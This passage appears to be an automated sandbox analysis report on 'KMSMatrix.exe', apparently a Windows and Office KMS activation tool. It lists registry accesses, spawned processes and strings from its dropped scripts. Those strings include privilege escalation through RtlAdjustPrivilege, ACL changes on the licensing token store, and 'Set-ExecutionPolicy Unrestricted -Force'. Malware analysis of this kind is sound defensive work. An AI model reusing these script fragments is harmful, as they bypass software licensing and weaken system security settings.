"\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\TIMEOUT.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FINDSTR.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FIND.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FLTMC.EXE"; Value: "")75:T776,file/memory contains long string with (Indicator: "Out-Null"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Out-String"; File: "s_w.ps1") Found string "$TypeBuilder.DefinePInvokeMethod('RtlAdjustPrivilege', 'ntdll.dll', 'Public, Static', 1, [int], @([int], [bool], [bool], [bool].MakeByRefType()), 1, 3) | Out-Null" (Indicator: "Out-Null"; File: "m_srv.cmd") Found string "$TypeBuilder.CreateType()::RtlAdjustPrivilege(9, $true, $false, [ref]$false) | Out-Null" (Indicator: "Out-Null"; File: "m_srv.cmd") Found string "$licensestatus = $Translation | Select-String -Pattern "License Status:" | Out-String" (Indicator: "Out-String"; File: "s_w.ps1") Found string "$TypeBuilder.DefinePInvokeMethod('RtlAdjustPrivilege', 'ntdll.dll', 'Public, Static', 1, [int], @([int], [bool], [bool], [bool].MakeByRefType()), 1, 3) | Out-Null" (Indicator: "Out-Null"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "$TypeBuilder.CreateType()::RtlAdjustPrivilege(9, $true, $false, [ref]$false) | Out-Null" (Indicator: "Out-Null"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "$licensestatus = $Translation | Select-String -Pattern "License Status:" | Out-String" (Indicator: "Out-String"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp")76:T605,file/memory contains long string with (Indicator: "Set-Acl"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Set-Location"; File: "s_w.ps1") Found string "set "d=!d! Set-Acl -Path %tokenstore% -AclObject $AclObject;"" (Indicator: "Set-Acl"; File: "m_srv.cmd") Found string "set "d=!d! Set-Acl -Path '%%A' -AclObject $acl"" (Indicator: "Set-Acl"; File: "m_srv.cmd") Found string "Set-Location -Path "$env:windir\System32"" (Indicator: "Set-Location"; File: "s_w.ps1") Found string "set "d=!d! Set-Acl -Path %tokenstore% -AclObject $AclObject;"" (Indicator: "Set-Acl"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "set "d=!d! Set-Acl -Path '%%A' -AclObject $acl"" (Indicator: "Set-Acl"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "Set-Location -Path "$env:windir\System32"" (Indicator: "Set-Location"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp")77:T49f,"th %_chan% Keyecho start changepk.exe /ProductKey %key%start changepk.exe /ProductKey %key%)%line%goto ced_done:cbsmethodclsmode con cols=105 lines=32%nul% %psc% "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=31;$B.Height=200;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"echo:echo Changing the Current Edition [%osedition%] to [%targetedition%]echo:call :dk_color %Magenta% "Important - Save your work before continue system will auto reboot."if %winbuild% GEQ 17034 if %targetedition%==Professional echo - Enterprise Key will be installed instead of Pro, you can quickly change to Pro later. echo:choice /C:01 /N /M "[1] Continue [0] %_exitmsg% : "if %errorlevel%==1 exit /becho:echo Initializing...echo:if %_stg%==0 (set stage=) else (set stage=-StageCurrent)%psc% "$f=[io.file]::ReadAllText('!_batp!') -split ':cbsxml\:.*';& ([ScriptBlock]::Create($f[1])) -SetEdition %targetedition% %stage%;"echo:%line%g" (Indicator: "changepk.exe") "echo start changepk.exe /ProductKey %key%" (Indicator: "changepk.exe") "start changepk.exe /ProductKey %key%" (Indicator: "changepk.exe") "RuntimeBroker.exe" (Indicator: "runtimebroker.exe")78:T4320,"ditionID 2>nul | find /i "Eval" 1>nul && (%eline%echo [%winos% ^| %winbuild%]echo:echo Evaluation Editions cannot be activated. echo You need to install full version of %winos%echo:echo Download it from here,goto dk_done))set osSKU=set regSKU=set wmiSKU=for /f "tokens=3 delims=." %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2^>nul') do set "regSKU=%%a"if %_wmic% EQU 1 for /f "tokens=2 delims==" %%a in ('"wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"if %_wmic% EQU 0 for /f "tokens=1" %%a in ('%psc% "([WMI]'Win32_OperatingSystem=@').OperatingSystemSKU" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"set osSKU=%wmiSKU%if not defined osSKU set osSKU=%regSKU%if not defined osSKU (%eline%echo SKU value was not detected properly. Aborting...goto dk_done)set error=clsecho:for /f "skip=2 tokens=2*" %%a in ('reg query "HKLM\SYSTEM\CurrentC" (Indicator: " win32_operatingsystem"; File: "KMSMatrix.exe"), "ingProduct WHERE ApplicationID=''55c92734-d682-4d71-983e-d6ec3f16059f''').Get()).ID ^| %% {echo ('ID='+$_)}" 2^>nul')"%chkapp% do (if defined applist (call set "applist=!applist! %%a") else (call set "applist=%%a"))exit /b:dk_ckeckwmicset _wmic=0for %%# in (wmic.exe) do @if not "%%~$PATH:#"=="" (wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul && set _wmic=1)exit /b:dk_productcall :dk_reflectionset d1=%ref% $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3);set d1=%d1% $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%%WINDOWS_LONG%%')set winos=for /f "delims=" %%s in ('"%psc% %d1%"') do if not errorlevel 1 (set winos=%%s)echo "%winos%" | find /i "Windows" 1>nul || (for /f "skip=2 tokens=2*" %%a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName 2^>nul') do set "winos" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe"), "%Red% "Checking Audit Mode " %Magenta% "[System is running in Audit mode. Run in normal mode.]")reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinPE" /v InstRoot %nul% && (set error=1call :dk_color2 %Red% "Checking WinPE " %Magenta% "[System is running in WinPE mode. Run in normal mode.]")for %%# in (wmic.exe) do @if "%%~$PATH:#"=="" (call :dk_color %Gray% "Checking WMIC.exe [Not Found]")%psc% $ExecutionContext.SessionState.LanguageMode 2>nul | find /i "Full" 1>nul || (set error=1call :dk_color %Red% "Checking Powershell [Not Responding]")set wmifailed=if %_wmic% EQU 1 wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nulif %_wmic% EQU 0 %psc% "Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName" 2>nul | find /i "computersystem" 1>nulif %errorlevel% NEQ 0 (set error=1set wmifaile" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe") "pup.exe" set a_cor=1if defined a_cor (if not exist "!_work!\clipup.exe" (%eline%echo clipup.exe doesn't exist in Server Cor/Acor [No GUI] version.echo It's required for KMS38 Activation.echo Check below page on how to activate it.goto dk_done))::========================================================================================================================================:: Check SKU value / Check in multiple places to find Edition change corruptionset osSKU=set regSKU=set wmiSKU=for /f "tokens=3 delims=." %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2^>nul') do set "regSKU=%%a"if %_wmic% EQU 1 for /f "tokens=2 delims==" %%a in ('"wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"if %_wmic% EQU 0 for /f "tokens=1" %%a in ('%psc% "([WMI]'Win32_OperatingSystem=@').OperatingSystemSKU" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"set osSKU=%wmi" (Indicator: " win32_operatingsystem"; File: "KMSMatrix.exe") "t notx86=1::========================================================================================================================================for %%# in (wmic.exe) do @if "%%~$PATH:#"=="" (%nceline%echo Unable to find wmic.exe in the system.if %winbuild% GEQ 22621 echo Make sure WMIC is enabled in optional features.goto Done)wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul || (%nceline%echo WMI is not responding in the system.echo:echo In MAS, Goto Troubleshoot and run Fix WMI option.goto Done)set _WSH=1reg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled 2>nul | find /i "0x0" 1>nul && (set _WSH=0)reg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled 2>nul | find /i "0x0" 1>nul && (set _WSH=0)if %_WSH% EQU 0 (reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f %nul%reg add "HKCU\Software\Microsoft\Windows Script Host\S" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe"), "")set "_bit=64"set "_wow=1"if /i "%PROCESSOR_ARCHITECTURE%"=="amd64" set "xBit=x64"&set "xOS=x64"if /i "%PROCESSOR_ARCHITECTURE%"=="arm64" set "xBit=x86"&set "xOS=A64"if /i "%PROCESSOR_ARCHITECTURE%"=="x86" if "%PROCESSOR_ARCHITEW6432%"=="" set "xBit=x86"&set "xOS=x86"&set "_wow=0"&set "_bit=32"if /i "%PROCESSOR_ARCHITEW6432%"=="amd64" set "xBit=x64"&set "xOS=x64"if /i "%PROCESSOR_ARCHITEW6432%"=="arm64" set "xBit=x86"&set "xOS=A64"if not defined xBit set "xBit=x64"&set "xOS=x64"set _cwmi=0for %%# in (wmic.exe) do @if not "%%~$PATH:#"=="" (wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul && set _cwmi=1)set "_Local=%LocalAppData%"set "_temp=%SystemRoot%\Temp"set "_log=%~dpn0"set "_work=%~dp0"if "%_work:~-1%"=="\" set "_work=%_work:~0 -1%"set _UNC=0if "%_work:~0 2%"=="\\" set _UNC=1for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe") "anagementServicePort /t REG_SZ /d "%KMS_Port%" %_Nul3%)goto :eof:CheckFRset WMIe=0call :CheckWSif %WMIe% EQU 1 (echo.echo %_err%echo Failed running WMI query check.)goto :eof:CheckWSset "_qrw=%_zz1% Win32_ComputerSystem %_zz3% CreationClassName %_zz4%"set "_qrs=%_zz1% SoftwareLicensingService %_zz3% Version %_zz4%"%_qrs% %_Nul2% | findstr /r "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" %_Nul1% || ( set WMIe=1 %_qrw% %_Nul2% | find /i "ComputerSystem" %_Nul1% && ( echo Error: SPP is not responding ) || ( echo Error: WMI ^& SPP are not responding ))goto :eof:C2RR2Vset RanR2V=1set "_SLMGR=%SysPath%\slmgr.vbs"if %_Debug% EQU 0 (set "_cscript=cscript //Nologo //B") else (set "_cscript=cscript //Nologo")set _LTSC=0set "_tag="&set "_ons= 2016"sc query ClickToRunSvc %_Nul3%set error1=%errorlevel%sc query OfficeSvc %_Nul3%set error2=%errorlevel%if %error1% EQU 1060 if %error2% EQU 1060 (echo Error: Office C2R service is not detecte" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe") "('ver') do set winbuild=%%Gset psc=powershell.exeset run_once=set t_name=Renewal Taskreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s | find /i "\Activation-Run_Once" >nul && (set run_once=1set t_name=Run Once Task)set _wmic=0for %%# in (wmic.exe) do @if not "%%~$PATH:#"=="" (wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul && set _wmic=1)setlocal EnableDelayedExpansionif exist "%ProgramData%\Activation-Renewal\" call :_taskstart>>"%ProgramData%\Activation-Renewal\Logs.txt" & exit::========================================================================================================================================:_taskstartecho.echo %date%, %time%set /a loop=1set /a max_loop=4call :_tasksetserv:_intrepeat:: Check Internet connection. Works even if ICMP echo is disabled.for %%a in (%srvlist%) do (for /f "delims=[] tokens=2" %%# in ('ping -" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe") "if not defined applist (set _tserror=1if %_wmic% EQU 1 wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nulif %_wmic% EQU 0 %psc% "Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName" 2>nul | find /i "computersystem" 1>nulif !errorlevel! NEQ 0 (set e_wmispp=WMI, SPP) else (set e_wmispp=SPP)echo.echo Error: Not Respoding- !e_wmispp!echo.)::========================================================================================================================================:: Check installed volume products activation ID'scall :_taskgetids sppwid %slp% windowscall :_taskgetids sppoid %slp% officecall :_taskgetids osppid %ospp% office::========================================================================================================================================echo.echo Renewing KMS activation for all installed Volume productsif not defined sppwid if not defined sppoid if n" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe") "Path=%SystemRoot%\Sysnative;%SystemRoot%\Sysnative\Wbem;%SystemRoot%\Sysnative\WindowsPowerShell\v1.0\;%Path%")set _cwmi=0for %%# in (wmic.exe) do @if not "%%~$PATH:#"=="" (wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul && set _cwmi=1)if %_cwmi% EQU 0 (echo:echo Error: WMI is not responding in the system.echo:echo In MAS, Goto Troubleshoot and run Fix WMI option.echo:echo Press any key to go back...pause >nulexit /b)set "line2=************************************************************"set "line3=____________________________________________________________"set "_psc=powershell"set _prsh=1for %%# in (powershell.exe) do @if "%%~$PATH:#"=="" set _prsh=0set "_csg=cscript.exe //NoLogo //Job:WmiMulti "%~nx0?.wsf""set "_csq=cscript.exe //NoLogo //Job:WmiQuery "%~nx0?.wsf""set "_csx=cscript.exe //NoLogo //Job:XPDT "%~nx0?.wsf""if %_cwmi% EQU 0 set WMI_VBS=1if %WMI_VBS% EQU 0 (set "_zz1=wmic path"set "_zz" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe") "====================================================:fixwmiclsmode 98, 34title Fix WMI:: https://techcommunity.microsoft.com/t5/ask-the-performance-team/wmi-repository-corruption-or-not/ba-p/375484if exist "%SystemRoot%\Servicing\Packages\Microsoft-Windows-Server*Edition~*.mum" (%eline%echo WMI rebuild is not recommended on Windows Server. Aborting...goto :at_back)for %%# in (wmic.exe) do @if "%%~$PATH:#"=="" (%eline%echo wmic.exe file is not found in the system. Aborting...goto :at_back)echo:echo Checking WMIset error=wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nulif %errorlevel% NEQ 0 set error=1winmgmt /verifyrepository %nul%if %errorlevel% NEQ 0 set error=1if not defined error (echo [Working]echo No need to apply this option. Aborting...goto :at_back)call :_color %Red% "[Not Responding]"echo:sc query Winmgmt %nul% || (%eline%echo Winmgmt service is not installed. Abortin" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe") "cho Enabling Winmgmt servicesc config Winmgmt start= auto %nul%if %errorlevel% EQU 0 (echo [Successful]) else (call :_color %Red% "[Failed]")wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nulif %errorlevel% EQU 0 (echo:echo Checking WMIcall :_color %Green% "[Working]"goto :at_back)echo:echo Registering .dll's and Compiling .mof's, .mfl'scall :registerobj %nul%echo:echo Checking WMIwmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nulif %errorlevel% NEQ 0 (call :_color %Red% "[Not Responding]"echo:echo Run [Dism RestoreHealth] and [SFC Scannow] options and make sure there are no errors.) else (call :_color %Green% "[Working]")goto :at_back:registerobj:: https://eskonr.com/2012/01/how-to-fix-wmi-issues-automatically/call :_stopservice Winmgmtcd /d %systemroot%\system32\wbem\regsvr32 /s %systemroot%\system32\scecli.dllregsvr32 /s %systemroot" (Indicator: " win32_computersystem"; File: "KMSMatrix.exe") "tids::========================================================================================================================================:: Check SKU value / Check in multiple places to find Edition change corruptionset osSKU=set regSKU=set wmiSKU=for /f "tokens=3 delims=." %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2^>nul') do set "regSKU=%%a"if %_wmic% EQU 1 for /f "tokens=2 delims==" %%a in ('"wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"if %_wmic% EQU 0 for /f "tokens=1" %%a in ('%psc% "([WMI]'Win32_OperatingSystem=@').OperatingSystemSKU" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"set osSKU=%wmiSKU%if not defined osSKU set osSKU=%regSKU%if not defined osSKU (%eline%echo SKU value was not detected properly. Aborting...goto ins_done)::=====================================================================================================" (Indicator: " win32_operatingsystem"; File: "KMSMatrix.exe") ":"') do set "osedition=%%a"if "%osedition%"=="" (%eline%DISM /English /Online /Get-CurrentEdition %nul%cmd /c exit /b !errorlevel!echo DISM command failed [Error Code - 0x!=ExitCode!]echo OS Edition was not detected properly. Aborting...echo:goto ced_done):: Check SKU valueset osSKU=set regSKU=set wmiSKU=for /f "tokens=3 delims=." %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2^>nul') do set "regSKU=%%a"if %_wmic% EQU 1 for /f "tokens=2 delims==" %%a in ('"wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"if %_wmic% EQU 0 for /f "tokens=1" %%a in ('%psc% "([WMI]'Win32_OperatingSystem=@').OperatingSystemSKU" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"set osSKU=%wmiSKU%if not defined osSKU set osSKU=%regSKU%if not defined osSKU (%eline%echo SKU value was not detected properly. Aborting...goto ced_done)set branch=for /f "skip=2 token" (Indicator: " win32_operatingsystem"; File: "KMSMatrix.exe"), "if %_wmic% EQU 1 for /f "tokens=2 delims==" %%a in ('"wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"" (Indicator: " win32_operatingsystem"; File: "m_srv.cmd"), "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul && set _wmic=1" (Indicator: " win32_computersystem"; File: "m_srv.cmd"), "if %_wmic% EQU 1 wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul" (Indicator: " win32_computersystem"; File: "m_srv.cmd"), "if %_wmic% EQU 0 %psc% "Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName" 2>nul | find /i "computersystem" 1>nul" (Indicator: " win32_computersystem"; File: "m_srv.cmd"), "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul || (" (Indicator: " win32_computersystem"; File: "m_srv.cmd"), "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul && set _cwmi=1" (Indicator: " win32_computersystem"; File: "m_srv.cmd"), "set "_qrw=%_zz1% Win32_ComputerSystem %_zz3% CreationClassName %_zz4%"" (Indicator: " win32_computersystem"; File: "m_srv.cmd"), "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul" (Indicator: " win32_computersystem"; File: "m_srv.cmd"), "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul" (Indicator: " win32_computersystem"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp"), "if %_wmic% EQU 1 for /f "tokens=2 delims==" %%a in ('"wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"" (Indicator: " win32_operatingsystem"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp 00000000-00002616.00000000.66017.10000000.00000004.mdmp 00000000-00002616.00000001.67938.00000000.00000004.mdmp 00000000-00002616.00000001.67938.10000000.00000004.mdmp 00000000-00002616.00000002.69859.00000000.00000004.mdmp"), "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul && set _cwmi=1" (Indicator: " win32_computersystem"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp 00000000-00002616.00000000.66017.10000000.00000004.mdmp 00000000-00002616.00000001.67938.00000000.00000004.mdmp 00000000-00002616.00000001.67938.10000000.00000004.mdmp 00000000-00002616.00000002.69859.00000000.00000004.mdmp")79:Te93,"d /i "0x0" 1>nul && (set _WSH=0)if %_WSH% EQU 0 (reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f %nul%reg add "HKCU\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f %nul%if not "%arch%"=="x86" reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f /reg:32 %nul%echo Enabling Windows Script Host [Successful])::========================================================================================================================================echo Initiating Diagnostic Tests...set "_serv=ClipSVC wlidsvc sppsvc KeyIso LicenseManager Winmgmt wuauserv"call :dk_errorcheckset updatesblock=echo: %serv_ste% | findstr /i "wuauserv" %nul% && set updatesblock=1for /f "skip=2 tokens=2*" %%a in ('reg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v Start 2^>nul') do if /i %%b equ 0x4 set updatesblock=1if exist "%SystemRoot%\System32\WaaSMedi" (Indicator: "wuauserv") in Source: KMSMatrix.exe, "cSvc.dll" (for /f "skip=2 tokens=2*" %%a in ('reg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v Start 2^>nul') do if /i %%b equ 0x4 set updatesblock=1)reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v SettingsPageVisibility 2>nul | find /i "windowsupdate" %nul% && set updatesblock=1reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdateSysprepInProgress %nul% && set updatesblock=1reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /s 2>nul | findstr /i "NoAutoUpdate DisableWindowsUpdateAccess" %nul% && set updatesblock=1if defined updatesblock (call :dk_color %Gray% "Checking Windows Update Blockers [Found]"if defined applist echo: %serv_e% | find /i "wuauserv" %nul% && (call :dk_color %Magenta% "Windows Update Service [wuauserv] is not working. Enable it incase if you have disabled it."))reg query "HKLM\SOFTWARE\Policies\Microsoft\WindowsStore" /v DisableStoreApps 2>nul | find /i "0x1" %nul% && (call" (Indicator: "wuauserv") in Source: KMSMatrix.exe "ervices\%%#" /v "Start" /t REG_DWORD /d "3" /f %nul% & sc config %%# start= demand %nul%)if /i %%#==wlidsvc sc config %%# start= demand %nul%if /i %%#==sppsvc (reg add "HKLM\SYSTEM\CurrentControlSet\Services\%%#" /v "Start" /t REG_DWORD /d "2" /f %nul% & sc config %%# start= delayed-auto %nul%)if /i %%#==KeyIso sc config %%# start= demand %nul%if /i %%#==LicenseManager sc config %%# start= demand %nul%if /i %%#==Winmgmt sc config %%# start= auto %nul%if /i %%#==wuauserv sc config %%# start= demand %nul%if !errorlevel!==0 (if defined serv_csts (set "serv_csts=!serv_csts! %%#") else (set "serv_csts=%%#")) else (if defined serv_cste (set "serv_cste=!serv_cste! %%#") else (set "serv_cste=%%#"))))if defined serv_csts call :dk_color %Gray% "Enabling Disabled Services [Successful] [%serv_csts%]"if defined serv_cste (set error=1call :dk_color %Red% "Enabling Disabled Services [Failed] [%serv_cste%]")set serv_e=" (Indicator: "wuauserv") in Source: KMSMatrix.exe, "set "_serv=ClipSVC wlidsvc sppsvc KeyIso LicenseManager Winmgmt wuauserv"" (Indicator: "wuauserv") in Source: m_srv.cmd, "echo: %serv_ste% | findstr /i "wuauserv" %nul% && set updatesblock=1" (Indicator: "wuauserv") in Source: m_srv.cmd, "if defined applist echo: %serv_e% | find /i "wuauserv" %nul% && (" (Indicator: "wuauserv") in Source: m_srv.cmd "call :dk_color %Magenta% "Windows Update Service [wuauserv] is not working. Enable it incase if you have disabled it."" (Indicator: "wuauserv") in Source: m_srv.cmd "if /i %%#==wuauserv sc config %%# start= demand %nul%" (Indicator: "wuauserv") in Source: m_srv.cmd7a:T172b,Spawned process "KMSMatrix.exe" (UID: 00000000-00002616) Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\inf.cmd" "" (UID: 00000000-00006600) Spawned process "timeout.exe" with commandline "timeout /t 5" (UID: 00000000-00005476) Spawned process "powershell.exe" with commandline "& Set-ExecutionPolicy Unrestricted -Force" (UID: 00000000-00006552) Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\m_srv.cmd" /kms"" (UID: 00000000-00008068) Spawned process "powershell.exe" with commandline "& \\"%TEMP%\\s_w.ps1\\"" (UID: 00000000-00001580) Spawned process "findstr.exe" with commandline "findstr /rxc:".*" "m_srv.cmd"" (UID: 00000000-00007624) Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00001956) Spawned process "find.exe" with commandline "find /i "/"" (UID: 00000000-00007548) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00007456) Spawned process "cscript.exe" with commandline "slmgr.vbs /dlv" (UID: 00000000-00007460) Spawned process "reg.exe" with commandline "reg query "HKCU\\Console" /v ForceV2" (UID: 00000000-00007228) Spawned process "find.exe" with commandline "find /i "0x0"" (UID: 00000000-00005708) Spawned process "cmd.exe" with commandline "/c echo prompt $E | cmd" (UID: 00000000-00006476) Spawned process "cmd.exe" with commandline "/S /D /c" echo prompt $E "" (UID: 00000000-00008108) Spawned process "cmd.exe" (UID: 00000000-00008156) Spawned process "cmd.exe" with commandline "/S /D /c" echo "%TEMP%\\m_srv.cmd" "" (UID: 00000000-00007188) Spawned process "find.exe" with commandline "find /i "%TEMP%\\" (UID: 00000000-00002660), Spawned process "fltMC.exe" (UID: 00000000-00007868), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00007740), Spawned process "find.exe" with commandline "find /i "/S"" (UID: 00000000-00002704), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00005160), Spawned process "find.exe" with commandline "find /i "/"" (UID: 00000000-00005136), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00008172), Spawned process "find.exe" with commandline "find /i 